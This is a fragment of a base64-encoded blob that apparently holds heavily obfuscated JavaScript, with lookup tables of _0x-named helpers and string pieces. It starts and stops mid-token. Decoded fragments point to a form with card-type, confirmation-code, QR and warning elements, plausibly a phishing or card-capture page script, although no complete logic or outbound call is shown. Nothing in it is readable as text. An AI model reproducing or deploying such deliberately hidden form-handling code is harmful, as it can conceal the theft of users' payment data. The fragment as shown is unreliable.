weDExMiwtMHhjOSwweDJjMywweDFiOCkrJy9kaXY+JywnaEdYUFEnOmZ1bmN0aW9uKF8weDMwZDJkZCxfMHgzYjg2NDQpe3JldHVybiBfMHgzMGQyZGQhPV8weDNiODY0NDt9LCdBQ1RyYyc6ZnVuY3Rpb24oXzB4M2E0MmFjLF8weDEzZDU4MSl7cmV0dXJuIF8weDNhNDJhYytfMHgxM2Q1ODE7fSwnamFIak8nOl8weDI1OWM4MygweDU2NywweDFmMywweDE4MiwweDNjYyksJ05TUVZIJzpfMHgyNTljODMoMHgzMDIsMHg1OTIsMHgxZjksMHgyYzYpLCdsWWhVeSc6XzB4NDRmZjQ5KDB4NjE1LDB4NTAwLDB4NDIxLDB4MzYxKSwnaURvblEnOl8weDQ0ZmY0OSgweDM4ZCwweDRlNSwweDVkMywweDJkYSksJ2lkb2RrJzpmdW5jdGlvbihfMHgxODBhY2IsXzB4MzdhNjY1KXtyZXR1cm4gXzB4MTgwYWNiKF8weDM3YTY2NSk7fSwnbG9Xa1UnOidzaG93X2MnLCdzWld3Tic6ZnVuY3Rpb24oXzB4NTk1OTYwLF8weDM2MGI4OSl7cmV0dXJuIF8weDU5NTk2MCE9XzB4MzYwYjg5O30sJ1pabHB0JzpfMHg0NGZmNDkoMHg0NDMsMHg1MzQsMHg1ZDYsMHg1ZjQpLCdSSEVsSic6XzB4NDRmZjQ5KC0weDFiNiwweGEzLDB4MmU3LDB4Y2IpLCdpVHZteSc6ZnVuY3Rpb24oXzB4MjFkOGQ1LF8weGExM2IzZSl7cmV0dXJuIF8weDIxZDhkNStfMHhhMTNiM2U7fSwnY3N1eXknOl8weDI1OWM4MygweDU3OCwweDJlMywweDI2NSwweDJmNCkrXzB4NDRmZjQ5KDB4MThlLDB4MmE5LDB4Mjc1LDB4MjUwKSwna1haa3AnOid0ZXh0LWRhbmdlJysncicsJ0xRcVpXJzpmdW5jdGlvbihfMHgyMmRiOGQsXzB4MzkzZTM3KXtyZXR1cm4gXzB4MjJkYjhkPT1fMHgzOTNlMzc7fSwnUG5qSHEnOl8weDQ0ZmY0OSgweDMyMywweDFlMywweGFmLDB4MmUyKSwnbnFYVEonOid0dXMnLCdyQkhocyc6J3JlZnJlc2gnLCdtTUJReSc6ZnVuY3Rpb24oXzB4NTY4ZDE2LF8weGM5ZDlhYyl7cmV0dXJuIF8weDU2OGQxNihfMHhjOWQ5YWMpO30sJ3lOaWtCJzpfMHg0NGZmNDkoMHgzYTcsMHgzODUsMHgyZWQsMHgzNGEpKydhZCcsJ0RUbWhJJzpmdW5jdGlvbihfMHg1NDFmY2QsXzB4YjczYWE2KXtyZXR1cm4gXzB4NTQxZmNkPT1fMHhiNzNhYTY7fSwnSE9Lb28nOmZ1bmN0aW9uKF8weGNiYTMwMSxfMHg0ZTQ3MTgpe3JldHVybiBfMHhjYmEzMDErXzB4NGU0NzE4O30sJ1dpYWFXJzpmdW5jdGlvbihfMHgzY2Y3Y2YsXzB4ZThjYTZjKXtyZXR1cm4gXzB4M2NmN2NmK18weGU4Y2E2Yzt9LCdSYndHZic6JzxhXHgyMHRhcmdldD0nK18weDI1OWM4MygweDU0NiwweDYxNywweDVjMiwweDQyMikrXzB4NDRmZjQ5KDB4MmRhLDB4NTBlLDB4NTAwLDB4MjE3KSwnY2RvY1UnOl8weDQ0ZmY0OSgweDM0NSwweDVmZiwweDNmYiwweDNiMSksJ0RHZUZ1JzpmdW5jdGlvbihfMHg2NTQ2YzksXzB4NWI5ZDQ2KXtyZXR1cm4gXzB4NjU0NmM5KF8weDViOWQ0Nik7fSwnQVhHQ2MnOmZ1bmN0aW9uKF8weDQwOWZmZixfMHgxNWRlMmYpe3JldHVybiBfMHg0MDlmZmYoXzB4MTVkZTJmKTt9LCdmQktlRCc6Jy5jYXInLCdSYUZlVic6XzB4MjU5YzgzKDB4NzVhLDB4NzMwLDB4OTRiLDB4Njc3KStfMHgyNTljODMoMHgyNDIsMHgzYjksMHg0NGUsMHg0YTkpK18weDQ0ZmY0OSgweDZlMCwweDMyYiwweDcyYiwweDVmOCkrXzB4MjU5YzgzKDB4MzUyLDB4NzFhLDB4NjQ5LDB4NGFiKSwnQWpieGInOl8weDQ0ZmY0OSgweDcyMSwweDY1NSwweDVjYiwweDYwYiksJ2doekZYJzpfMHg0NGZmNDkoMHg2NTQsMHg2NTYsMHg3YzIsMHg1ZTcpLCdOTkZUWSc6XzB4MjU5YzgzKDB4NDkzLDB4MzdiLDB4MmZhLDB4NTE5KSwnTUJnT1AnOmZ1bmN0aW9uKF8weDMzNTY1MCxfMHg0NmY3YTQpe3JldHVybiBfMHgzMzU2NTArXzB4NDZmN2E0O30sJ0VDRmJmJzpmdW5jdGlvbihfMHg1NTM0MDMsXzB4MmM0OTRiKXtyZXR1cm4gXzB4NTUzNDAzK18weDJjNDk0Yjt9LCd5WlFFcCc6J2ZhaWwnLCdjZUZucCc6XzB4MjU5YzgzKDB4NzZkLDB4NWU3LDB4NmM3LDB4N2U1KSsnNScsJ3lQcmNVJzpfMHg0NGZmNDkoMHgzMmEsMHg1ZGYsMHhkNSwweDMyZikrJ2Zvcm1fYmxvY2snLCdhdWdhRic6ZnVuY3Rpb24oXzB4MjRkOGZlLF8weDU1MzQ5Nyl7cmV0dXJuIF8weDI0ZDhmZShfMHg1NTM0OTcpO30sJ1hPSHV6JzpfMHg0NGZmNDkoMHg2YmMsMHg4NDcsMHg1MDEsMHg1NGUpK18weDI1OWM4MygweDU3OCwweDRjNiwweDYzOSwweDNhNykrJy1mb290ZXInLCdkbkdaWSc6Jy5jb25mQ29kZVInK18weDQ0ZmY0OSgweDFlNywweDNjYywweDMxZiwweGQ2KStfMHg0NGZmNDkoMHg2N2IsMHg0YWYsMHg4YTUsMHg2MzYpLCdoZExWcSc6XzB4MjU5YzgzKDB4MTJjLDB4MTk4LDB4NThiLDB4NDFhKSwnTk5aRVknOicuY29kZV9lcnJvJytfMHg0NGZmNDkoMHg0OWEsMHg0YjIsMHg0YzEsMHgyMDUpLCducmdnUyc6ZnVuY3Rpb24oXzB4MzQ5MTk3LF8weDNkNzFiNyl7cmV0dXJuIF8weDM0OTE5Nz09XzB4M2Q3MWI3O30sJ3doaGNMJzonc3VjY2VzcycsJ1VXdFNkJzpmdW5jdGlvbihfMHgyOTgzODIsXzB4MTJkNWVjKXtyZXR1cm4gXzB4Mjk4MzgyKF8weDEyZDVlYyk7fSwnRVVxUnEnOmZ1bmN0aW9uKF8weDJiZTJjNyxfMHg1N2M5YWEpe3JldHVybiBfMHgyYmUyYzchPT1fMHg1N2M5YWE7fSwncXREVlonOl8weDI1OWM4MygweDhlYywweDc4NywweDgzNiwweDYwYSksJ2JMS1JGJzpmdW5jdGlvbihfMHg1NDMxNWMsXzB4MThkZjMyKXtyZXR1cm4gXzB4NTQzMTVjKF8weDE4ZGYzMik7fSwndmlYWXgnOl8weDI1OWM4MygweDYyMiwweDRmYywweDg4YiwweDY3MCksJ3BsdnVkJzpfMHg0NGZmNDkoMHg2NiwtMHg0MSwweDFkMSwweDExNyksJ3FheWxEJzpfMHgyNTljODMoMHgyYTQsMHg2ODIsMHg0ZjAsMHgzYmIpLCd3ZFdCQic6XzB4MjU5YzgzKDB4NjA4LDB4NWFmLDB4NTM1LDB4NjEzKSwnc1dVUGgnOmZ1bmN0aW9uKF8weDQwNDM0ZixfMHg0MGM4NDEpe3JldHVybiBfMHg0MDQzNGY8PV8weDQwYzg0MTt9LCdva2drQSc6ZnVuY3Rpb24oXzB4MjYwOGVmLF8weDFmN2M3NCl7cmV0dXJuIF8weDI2MDhlZj09PV8weDFmN2M3NDt9LCdXc3FBUyc6ZnVuY3Rpb24oXzB4NTA3YjFmLF8weDU3OGZkNil7cmV0dXJuIF8weDUwN2IxZitfMHg1NzhmZDY7fSwnaW9ZS1InOl8weDI1OWM4MygweDQzOSwweDQ0NiwweDUzZiwweDM4NyksJ3JVSnpZJzonOmZvY3VzJywnUkNmV1knOmZ1bmN0aW9uKF8weGJmZjZiLF8weDIzMWZiZSl7cmV0dXJuIF8weGJmZjZiPT09XzB4MjMxZmJlO30sJ0N5d1VYJzpfMHg0NGZmNDkoLTB4MWI2LC0weDEwOCwweDM5ZiwweGY5KSsnbmQnLCdQbnR4TSc6XzB4MjU5YzgzKDB4Nzc1LDB4NzY3LDB4MzA1LDB4NGU0KSwnbHZVd3MnOl8weDI1OWM4MygweDFhYywweDI0ZiwweDUxNCwweDNjMiksJ2VJemhOJzpmdW5jdGlvbihfMHg1OGI0MTksXzB4M2Y4ODY1KXtyZXR1cm4gXzB4NThiNDE5Pl8weDNmODg2NTt9LCd4bWNJeCc6XzB4MjU5YzgzKDB4ODQ2LDB4NmFlLDB4M2ZjLDB4NWZkKSsnbScsJ3loT3dmJzpfMHg0NGZmNDkoMHgyM2QsMHg0OTgsMHg1NTcsMHgyNjMpKydfYycsJ1FjSm5JJzpmdW5jdGlvbihfMHg4YmY2OGQsXzB4MjUxYjc0KXtyZXR1cm4gXzB4OGJmNjhkPT1fMHgyNTFiNzQ7fSwnbm9kQ3AnOl8weDQ0ZmY0OSgweDI5MiwweDM5ZiwweDMyNSwweDRjOSksJ1NKdFZ1JzpmdW5jdGlvbihfMHhjMzViYzQsXzB4NGJlNDE2KXtyZXR1cm4gXzB4YzM1YmM0PT09XzB4NGJlNDE2O30sJ1N3VkN5JzpmdW5jdGlvbihfMHgyNTU5NDAsXzB4NGZlOTA3KXtyZXR1cm4gXzB4MjU1OTQwKF8weDRmZTkwNyk7fSwneXJnZnYnOl8weDI1OWM4MygweDFjMywweGU1LDB4MjksMHgzMTApLCdpb3djZCc6ZnVuY3Rpb24oXzB4NDNiMTI4LF8weDE0ZDQ3Myl7cmV0dXJuIF8weDQzYjEyOChfMHgxNGQ0NzMpO30sJ1dFeHZMJzpfMHg0NGZmNDkoMHgyYmEsMHgzNmIsMHg4NzQsMHg1ODEpLCdWcWJSWCc6ZnVuY3Rpb24oXzB4NTc0YzM0LF8weGRhNWY2KXtyZXR1cm4gXzB4NTc0YzM0KF8weGRhNWY2KTt9LCdnc29sQic6XzB4MjU5YzgzKDB4MTg0LDB4NGVjLDB4MTFkLDB4M2YwKSwnd29raFInOmZ1bmN0aW9uKF8weDUwODlmZCxfMHgxMzc4NmQpe3JldHVybiBfMHg1MDg5ZmQ9PT1fMHgxMzc4NmQ7fSwndnNGVlMnOmZ1bmN0aW9uKF8weDIzMzFhYyxfMHhkY2JlOTApe3JldHVybiBfMHgyMzMxYWMoXzB4ZGNiZTkwKTt9LCdPU2pXdic6ZnVuY3Rpb24oXzB4NWY1NmM4LF8weDUzNmI2Zil7cmV0dXJuIF8weDVmNTZjOChfMHg1MzZiNmYpO30sJ2VIZXFEJzpfMHg0NGZmNDkoMHg1MWEsMHg1NGUsMHg4NmEsMHg2ODUpLCd4R3Nkdic6XzB4NDRmZjQ5KC0weDIzLDB4MzJmLDB4MjdkLDB4MTVlKSwnY1hxdlEnOidwYXN0ZScsJ3dpWVREJzpfMHg0NGZmNDkoMHg3ZjQsMHg5MDcsMHg3NzgsMHg2NDApLCduVm52ZCc6XzB4MjU5YzgzKDB4M2E1LDB4NDJkLDB4MjU0LDB4M2FkKSwnSkpSalYnOl8weDQ0ZmY0OSgweDE1NCwtMHgxMWIsMHhiNiwweDE5MyksJ1B2c0JUJzpfMHg0NGZmNDkoMHgzNTIsMHgyZWQsMHg1NjksMHg1MmQpLCd2SVhCbCc6J2dkYVlzJywneHRXeVknOl8weDI1OWM4MygweDJiMCwweDE5OCwweDM1ZCwweDMxOCksJ3ZlSkpKJzpfMHgyNTljODMoMHgzNjcsMHg3NjksMHg0M2YsMHg1MjApLCd1aEpUVyc6XzB4NDRmZjQ5KDB4OTksLTB4OCwweDM5OSwweDIzYiksJ3RXQ0JIJzoncmVwbGFjZScsJ1RNVmNDJzpmdW5jdGlvbihfMHhjN2U5MzIsXzB4M2FmZDU1KXtyZXR1cm4gXzB4YzdlOTMyPF8weDNhZmQ1NTt9LCdZRVZRcic6ZnVuY3Rpb24oXzB4ZGMzNzJhLF8weGFkZTNhYil7cmV0dXJuIF8weGRjMzcyYT5fMHhhZGUzYWI7fSwnWFNKeG0nOmZ1bmN0aW9uKF8weDU2ZTk4ZCxfMHg1YjQ4MDYpe3JldHVybiBfMHg1NmU5OGQrXzB4NWI0ODA2O30sJ2FaSk5IJzpfMHg0NGZmNDkoLTB4Y2EsLTB4MTJmLDB4NDBhLDB4MTk2KSwnZ3JieW8nOl8weDI1OWM4MygweDY3YSwweDM4NiwweDVjMSwweDVjOSksJ2hDVXNvJzondHlwZScsJ3lpYkxOJzpfMHgyNTljODMoMHg0NjMsMHg4YjEsMHg4MDQsMHg1ZGMpLCd6T2NNQyc6XzB4NDRmZjQ5KDB4NDAsMHgzMmYsLTB4ZjMsMHgxYWYpLCdlcG1PYSc6ZnVuY3Rpb24oXzB4NDFkMDljLF8weDI2ODllOSl7cmV0dXJuIF8weDQxZDA5Yz09PV8weDI2ODllOTt9LCdvVUticCc6XzB4NDRmZjQ5KDB4NzBlLDB4NzA4LDB4NzI0LDB4NjgwKSwnT1dtbXYnOl8weDI1OWM4MygweDFiMiwweDU3NywweDQ4YSwweDJlYikrJ2RlJywncElVT24nOl8weDI1OWM4MygweDM3OSwweDVhNSwweDM0ZiwweDViZSkrXzB4NDRmZjQ5KDB4MjYzLDB4MTYzLDB4MWQ3LDB4MTFkKSwnY3hGR3MnOmZ1bmN0aW9uKF8weDYyYWUxMixfMHgxMjVkMTYpe3JldHVybiBfMHg2MmFlMTIoXzB4MTI1ZDE2KTt9LCdhdGtIVic6XzB4MjU5YzgzKDB4NDJiLDB4ODA4LDB4NzFhLDB4NjA3KSwnSFFLVFEnOl8weDQ0ZmY0OSgweDdmOCwweDQwMywweDZiNywweDUzYyksJ0xqQmR5JzpfMHg0NGZmNDkoMHg3NjYsMHg0YjMsMHg0M2IsMHg0ZWEpLCdFY3dVWCc6XzB4NDRmZjQ5KDB4NWJmLDB4NmI0LDB4NDhjLDB4NGJlKSwnc3ROUGInOmZ1bmN0aW9uKF8weDM5YzA2ZCxfMHgzMzBkYzUpe3JldHVybiBfMHgzOWMwNmQ9PV8weDMzMGRjNTt9LCdGQml5UCc6XzB4MjU5YzgzKDB4ODUxLDB4OTZhLDB4NTllLDB4ODFjKSwnRnlXdFEnOl8weDI1OWM4MygweDNkMiwweDVlZCwweDVlNCwweDUyOCksJ1VIYVBCJzpmdW5jdGlvbihfMHhkMTQ5NjgsXzB4Mzc1M2FlKXtyZXR1cm4gXzB4ZDE0OTY4PT1fMHgzNzUzYWU7fSwnWUhpaUEnOl8weDI1OWM4MygweDZhZSwweDdjZSwweDUxMSwweDY0NSksJ2N2V0RoJzpfMHgyNTljODMoMHg0OTcsMHg4YTgsMHg2MjksMHg2ZWEpLCdjVFNpbic6XzB4NDRmZjQ5KDB4MWVmLDB4MjUwLDB4NmYsMHgyMGQpK18weDI1OWM4MygweDY2MywweDZmNiwweDZkMCwweDU5ZSksJ1BOSk5NJzpfMHgyNTljODMoMHg4MzAsMHg4MmUsMHg3OWUsMHg3ZTApLCdBR01aTyc6XzB4MjU5YzgzKDB4MzkxLDB4MzU2LDB4MzkyLDB4NjQwKSwnV1ZsR1AnOl8weDQ0ZmY0OSgweDJlLDB4M2U4LDB4MzlhLDB4MWU0KSwnVHdYVGsnOl8weDQ0ZmY0OSgweDQ1NiwweDU1NywweDc1MiwweDQ4ZiksJ0FibG9rJzpmdW5jdGlvbihfMHg1MGYxYmIsXzB4NWQyM2FkKXtyZXR1cm4gXzB4NTBmMWJiKF8weDVkMjNhZCk7fSwnZFRnRWcnOl8weDQ0ZmY0OSgweDJkOSwweDZkOSwweDIxMiwweDQ0NCksJ0ZxZFh2JzoncmQtY29uZmknLCd4eGdGTyc6XzB4NDRmZjQ5KDB4MzhlLDB4MmI2LDB4NzgxLDB4NGFlKSwnUWF0SXknOmZ1bmN0aW9uKF8weDQwZGNiZCxfMHg1NDkyNmMpe3JldHVybiBfMHg0MGRjYmQ9PV8weDU0OTI2Yzt9LCdJdW1RcSc6XzB4MjU5YzgzKDB4MzZjLDB4Mjk4LDB4Nzk4LDB4NTg0KSwnWXdaVUcnOidVZEJmdicsJ25ObEhUJzpfMHgyNTljODMoMHg5OTAsMHg1ODcsMHg4NzUsMHg3ZTEpLCdqWEtidyc6J2NyX2RfVHlwJywnT0JGZm8nOmZ1bmN0aW9uKF8weDE4MWRhOCxfMHg5NWYwYmUpe3JldHVybiBfMHgxODFkYTgrXzB4OTVmMGJlO30sJ1d6VVVrJzpmdW5jdGlvbihfMHgyMjQyMDQsXzB4MmU3ZWRkLF8weGY2ZDA0NixfMHgxNjUzZTEpe3JldHVybiBfMHgyMjQyMDQoXzB4MmU3ZWRkLF8weGY2ZDA0NixfMHgxNjUzZTEpO30sJ29Ha2xmJzpfMHgyNTljODMoMHg4ZDcsMHg1Y2MsMHg1N2QsMHg2ZGIpK18weDQ0ZmY0OSgweDZlNSwweDY1MiwweDUzMCwweDNmNyksJ25oWWRQJzpmdW5jdGlvbihfMHhkNzlkMDIsXzB4NDZiYTU4KXtyZXR1cm4gXzB4ZDc5ZDAyKF8weDQ2YmE1OCk7fSwnVWtWZmonOid3bERZTicsJ2VzclpXJzpfMHgyNTljODMoMHg4ZmQsMHg2Y2UsMHg2ODYsMHg3N2IpLCdVdXlVcSc6ZnVuY3Rpb24oXzB4NTc2YTMzLF8weDVlZDExMil7cmV0dXJuIF8weDU3NmEzMyhfMHg1ZWQxMTIpO30sJ2JvSElxJzonaGlkZV9xcicsJ3JWSXppJzpfMHgyNTljODMoMHg4ZTUsMHg2MDcsMHg3YTAsMHg3ZGMpK18weDQ0ZmY0OSgweDQ0MCwweDFiMSwweDU1OCwweDJjNyksJ1dmeER1JzpfMHg0NGZmNDkoMHgzN2UsMHgzN2MsMHg2OGQsMHgzZDUpKydibG9jaycsJ2NES0dCJzpmdW5jdGlvbihfMHgyMzBiMzAsXzB4NGI3NWRiKXtyZXR1cm4gXzB4MjMwYjMwKF8weDRiNzVkYik7fSwnTUZIVWMnOl8weDQ0ZmY0OSgweDI5OCwtMHgxMDIsMHgyODgsMHgxMTUpK18weDI1OWM4MygweDdjOCwweDQ3ZCwweDczMSwweDZiMCksJ1hSeVRKJzpfMHgyNTljODMoMHg3MmQsMHg2NjUsMHg4YjcsMHg4NzApLCdSVURFWCc6ZnVuY3Rpb24oXzB4MzBmYjIzLF8weDM5NzIwZil7cmV0dXJuIF8weDMwZmIyMyhfMHgzOTcyMGYpO30sJ3phYXhWJzpmdW5jdGlvbihfMHgyY2FkN2IsXzB4NDgzMTdlKXtyZXR1cm4gXzB4MmNhZDdiK18weDQ4MzE3ZTt9LCd3cXJ2cic6XzB4NDRmZjQ5KDB4NDMxLDB4ZGYsMHg0ZWUsMHgyYmUpLCdha29OYyc6ZnVuY3Rpb24oXzB4NDRmODY2LF8weDM5Y2JhNil7cmV0dXJuIF8weDQ0Zjg2NihfMHgzOWNiYTYpO30sJ0VkZ2RDJzpfMHg0NGZmNDkoMHg0ZjQsLTB4MmMsLTB4YSwweDI5YikrXzB4NDRmZjQ5KDB4Mjk1LDB4MjJkLDB4MmZhLDB4MzQzKStfMHgyNTljODMoMHg5ZWYsMHg2MmMsMHg4YTYsMHg3NTQpK18weDI1OWM4MygweDMwYywweDM5NywweDM1MiwweDQ1YikrXzB4NDRmZjQ5KDB4MTBhLDB4MmQ3LDB4NWU4LDB4MzU2KSsnZT8nLCdaSk1udyc6XzB4MjU5YzgzKDB4NDc2LDB4OGJjLDB4NDMwLDB4NzFjKSwnRVBXa2onOl8weDQ0ZmY0OSgweDMzOSwweDNkMCwweDYyNSwweDUzYiksJ0dQdmlKJzpmdW5jdGlvbihfMHgzYzA4ZjcsXzB4MWM5OTAwKXtyZXR1cm4gXzB4M2MwOGY3fHxfMHgxYzk5MDA7fSwnWWduc3EnOl8weDI1OWM4MygweDRkNiwweDllZCwweDllNiwweDc5OSksJ050VGhpJzpfMHgyNTljODMoMHg1OGQsMHhjNiwweDQ2OSwweDM3MiksJ2Znd09yJzpfMHg0NGZmNDkoMHgxMDgsMHgxMzUsMHgzNzYsMHhiNiksJ0dUeFV3JzpfMHgyNTljODMoMHg1ZiwweDI1MiwweDRhOCwweDJjNSksJ21kbWtZJzpmdW5jdGlvbihfMHg4MTg1NTkpe3JldHVybiBfMHg4MTg1NTkoKTt9LCdnQUxmTSc6ZnVuY3Rpb24oXzB4M2U1M2Q3KXtyZXR1cm4gXzB4M2U1M2Q3KCk7fSwndVpObG4nOl8weDQ0ZmY0OSgweDJkYSwweDJjMiwweDYxMiwweDM0ZiksJ3ZmY1R6JzpmdW5jdGlvbihfMHgxOTQxMGUsXzB4NTRiZDY1KXtyZXR1cm4gXzB4MTk0MTBlKl8weDU0YmQ2NTt9LCd6eEhOaSc6ZnVuY3Rpb24oXzB4MTkyMjQwLF8weDRhNmYyNyl7cmV0dXJuIF8weDE5MjI0MCpfMHg0YTZmMjc7fSwnb2d5alInOl8weDQ0ZmY0OSgweDNlNywweDY1YywweDJlOCwweDU4NSksJ3dFa0d6JzpmdW5jdGlvbihfMHg0MzYwODMsXzB4MzVjODkwKXtyZXR1cm4gXzB4NDM2MDgzKF8weDM1Yzg5MCk7fSwnSHFTa2snOidDTEVIRCcsJ1NvbW9YJzpfMHgyNTljODMoMHg3ZjUsMHg0NmQsMHg1ODAsMHg1ZTkpLCdyQWFDVSc6ZnVuY3Rpb24oXzB4MWE1ZjVhLF8weDMwNzAxMCl7cmV0dXJuIF8weDFhNWY1YStfMHgzMDcwMTA7fSwnbnNGbUMnOl8weDQ0ZmY0OSgweDZkMSwweDU4YSwweDJiYSwweDQ2YSksJ2VYb1VrJzpmdW5jdGlvbihfMHgzNmM1OGYsXzB4YTdlNzcyKXtyZXR1cm4gXzB4MzZjNThmK18weGE3ZTc3Mjt9LCdkTnZlaSc6XzB4MjU5YzgzKDB4MjVmLDB4NjBiLDB4MTIxLDB4MzU3KSwnc0tQZWUnOmZ1bmN0aW9uKF8weDMzOTg1NyxfMHg0MWNlMWYpe3JldHVybiBfMHgzMzk4NTchPV8weDQxY2UxZjt9LCdrYVhtTSc6XzB4MjU5YzgzKDB4NzZjLDB4NGZmLDB4NWQ3LDB4NmI3KSwnRWxlTUEnOmZ1bmN0aW9uKF8weDJlMjljOCxfMHhlNjZjNil7cmV0dXJuIF8weDJlMjljOD09PV8weGU2NmM2O30sJ0RJV2ZwJzoneFdsakInLCdvbEhOWCc6XzB4NDRmZjQ5KDB4MTQ1LDB4MjBiLDB4NDA4LDB4M2FkKSwnV2xuT20nOmZ1bmN0aW9uKF8weDRhMGEyZCxfMHgxZGE1Y2Epe3JldHVybiBfMHg0YTBhMmQoXzB4MWRhNWNhKTt9LCdQQmFweCc6XzB4MjU5YzgzKDB4NTYwLDB4OTI0LDB4YTYyLDB4N2FjKSwndHVKZkMnOl8weDI1OWM4MygweDlkMCwweDY0YSwweDlhNiwweDc5NyksJ3NteFVlJzpfMHgyNTljODMoMHg3MWUsMHgzZjMsMHg1NmUsMHg2N2QpLCdwZkRHeic6ZnVuY3Rpb24oXzB4Mzk4YmFjLF8weDRkYzRlNil7cmV0dXJuIF8weDM5OGJhYyE9XzB4NGRjNGU2O30sJ0poYm1OJzpmdW5jdGlvbihfMHg0YmMyOTIsXzB4NzIxOTJiKXtyZXR1cm4gXzB4NGJjMjkyKF8weDcyMTkyYik7fSwndWhOa2MnOl8weDQ0ZmY0OSgweGE3LDB4NDYwLDB4MzJlLDB4MTZhKSwnSnpTVFQnOl8weDQ0ZmY0OSgweDU2YywweDUzZiwweDg2ZiwweDU4ZikrJ3ZhbGlkX2FjdGknKyd2ZV9mb3JtKScsJ21MS2lGJzpmdW5jdGlvbihfMHg0NzkxZjMsXzB4NDQ1OWY2KXtyZXR1cm4gXzB4NDc5MWYzK18weDQ0NTlmNjt9LCdPWVNMTCc6ZnVuY3Rpb24oXzB4NWMxZTNjLF8weDI5MDAwZCl7cmV0dXJuIF8weDVjMWUzYytfMHgyOTAwMGQ7fSwnVE5uakYnOmZ1bmN0aW9uKF8weDU5ZmE4MSxfMHg0MGVhMDQpe3JldHVybiBfMHg1OWZhODErXzB4NDBlYTA0O30sJ3hhTk5UJzpfMHg0NGZmNDkoMHg1NWYsMHg1NDEsMHgxNzQsMHgzMTYpLCdva2ZjRCc6J21iZXInLCdNVnVYaSc6ZnVuY3Rpb24oXzB4NGVhMmRkLF8weDE3NmY4MSl7cmV0dXJuIF8weDRlYTJkZCtfMHgxNzZmODE7fSwndlpYV3InOmZ1bmN0aW9uKF8weDU4M2M4OSxfMHg1MDhhOTYpe3JldHVybiBfMHg1ODNjODkrXzB4NTA4YTk2O30sJ3dlekxBJzpmdW5jdGlvbihfMHg2NzBiNWQsXzB4NWQ4MTY2KXtyZXR1cm4gXzB4NjcwYjVkK18weDVkODE2Njt9LCdEQkZaTCc6ZnVuY3Rpb24oXzB4MzZkMjUyLF8weDVhODc1NCl7cmV0dXJuIF8weDM2ZDI1MitfMHg1YTg3NTQ7fSwnV2dnQk8nOidkZXJceDIwTicsJ2NiUmV2JzonYW1lJywnU1pYSWgnOl8weDI1OWM4MygweDNhYSwweDZlYywweDY3YSwweDU0NyksJ0Fqd1NUJzpfMHgyNTljODMoMHg1NTcsMHgyYTAsMHg2MWUsMHgzN2QpLCdvUWFHbCc6ZnVuY3Rpb24oXzB4NTVkZWNiLF8weDE0NTczOCl7cmV0dXJuIF8weDU1ZGVjYihfMHgxNDU3MzgpO30sJ1F3aXRQJzpfMHgyNTljODMoMHg0ZGEsMHg1NGEsMHg1MTYsMHg1ZTMpLCdrRFhxTic6ZnVuY3Rpb24oXzB4NGQyMTkwLF8weDRkMzg5OCl7cmV0dXJuIF8weDRkMjE5MChfMHg0ZDM4OTgpO30sJ25YR3RXJzpfMHg0NGZmNDkoMHg0Y2UsMHgyZjcsMHg1YTksMHg0NmYpLCdlQVFYRic6XzB4MjU5YzgzKDB4NDViLDB4MjI2LDB4MjIxLDB4NDVjKStfMHg0NGZmNDkoMHg1MGYsMHg1NDAsMHg2ZjcsMHg1YmEpLCdJTm9mRic6XzB4NDRmZjQ5KDB4NGE5LDB4MzlmLDB4N2IxLDB4NWQ1KSwnendDc1EnOmZ1bmN0aW9uKF8weDI0MDExOCxfMHg1YzZmOTEpe3JldHVybiBfMHgyNDAxMTgoXzB4NWM2ZjkxKTt9LCdlU2FxZyc6Jy53YXJuaW5nXHgyMGgnKycxJywnWE5LUEgnOl8weDQ0ZmY0OSgweDFlNywweDFjYywweDI0NCwweDM1NSksJ3FNcUV6JzpfMHg0NGZmNDkoMHgzZWIsMHg1OGIsMHg1MzUsMHg0ZTcpLCdUUmtvRic6XzB4NDRmZjQ5KDB4NTNjLDB4MmYwLDB4M2NjLDB4MjZiKSwnSXhXelQnOl8weDQ0ZmY0OSgweDcxNCwweDZmMCwweDVmNiwweDVhOCkrJ2xvY2tceDIwcCcsJ1daTFdjJzpfMHgyNTljODMoMHg1YmEsMHg0NmIsMHgyMzIsMHg0MDkpLCdsYldXcic6XzB4NDRmZjQ5KDB4MmFmLDB4MjE2LDB4MTY2LDB4NDA2KSsnaycsJ2haVVZkJzpfMHgyNTljODMoMHg4MzEsMHg3MmQsMHg4NWUsMHg2OGUpK18weDI1OWM4MygweDRmMSwweDI0NiwweDNjYSwweDRiZikrXzB4MjU5YzgzKDB4NDBhLDB4NTA1LDB4NWVjLDB4NmY5KSwnUG5Za3cnOmZ1bmN0aW9uKF8weDJhNDNhNCxfMHg0NTViZWUpe3JldHVybiBfMHgyYTQzYTQoXzB4NDU1YmVlKTt9LCdvVklCRic6J2xhc3QnLCdoVk5QWCc6ZnVuY3Rpb24oXzB4ZDUwOWYsXzB4NDQ2Zjg3KXtyZXR1cm4gXzB4ZDUwOWYoXzB4NDQ2Zjg3KTt9LCdmYlJ2dyc6XzB4MjU5YzgzKDB4NThmLDB4MWRhLDB4MTViLDB4NDI0KSwnc3V6UGEnOl8weDQ0ZmY0OSgweDFkMywweDVhMCwweDY3MSwweDQ2ZCksJ2hrcXhyJzpmdW5jdGlvbihfMHgxZjhiMGYsXzB4MmYyZDg5KXtyZXR1cm4gXzB4MWY4YjBmK18weDJmMmQ4OTt9LCd3bmVrcyc6XzB4NDRmZjQ5KDB4NTk2LDB4NmVmLDB4NTZkLDB4NjE3KStfMHgyNTljODMoMHgyNTUsMHg0ZTMsMHgyZmMsMHgyOWIpLCdPWlVIbCc6XzB4NDRmZjQ5KDB4NGQ4LDB4NTI5LDB4NGJjLDB4MmQ1KSsncicsJ29CZXJ4JzpmdW5jdGlvbihfMHgyY2UxYjgsXzB4MTdlYWMwKXtyZXR1cm4gXzB4MmNlMWI4K18weDE3ZWFjMDt9LCdRV0pTUyc6ZnVuY3Rpb24oXzB4NDYzYmVlLF8weDRjOWE3OSl7cmV0dXJuIF8weDQ2M2JlZStfMHg0YzlhNzk7fSwneG9UV1AnOl8weDQ0ZmY0OSgweDIxNiwweDVhNCwweDYzNCwweDNmZCksJ0JiWURmJzonZWhvbGRlcicsJ3dvdWxuJzpmdW5jdGlvbihfMHg0OWY0ZDksXzB4M2U4ZWE1KXtyZXR1cm4gXzB4NDlmNGQ5KF8weDNlOGVhNSk7fSwnakNsQWQnOmZ1bmN0aW9uKF8weDU3ODE5MixfMHg0YzgwZTIpe3JldHVybiBfMHg1NzgxOTIrXzB4NGM4MGUyO30sJ2NIT05oJzpmdW5jdGlvbihfMHg0ZmI5NzksXzB4MjY5ZjY2KXtyZXR1cm4gXzB4NGZiOTc5K18weDI2OWY2Njt9LCdERWJJTSc6ZnVuY3Rpb24oX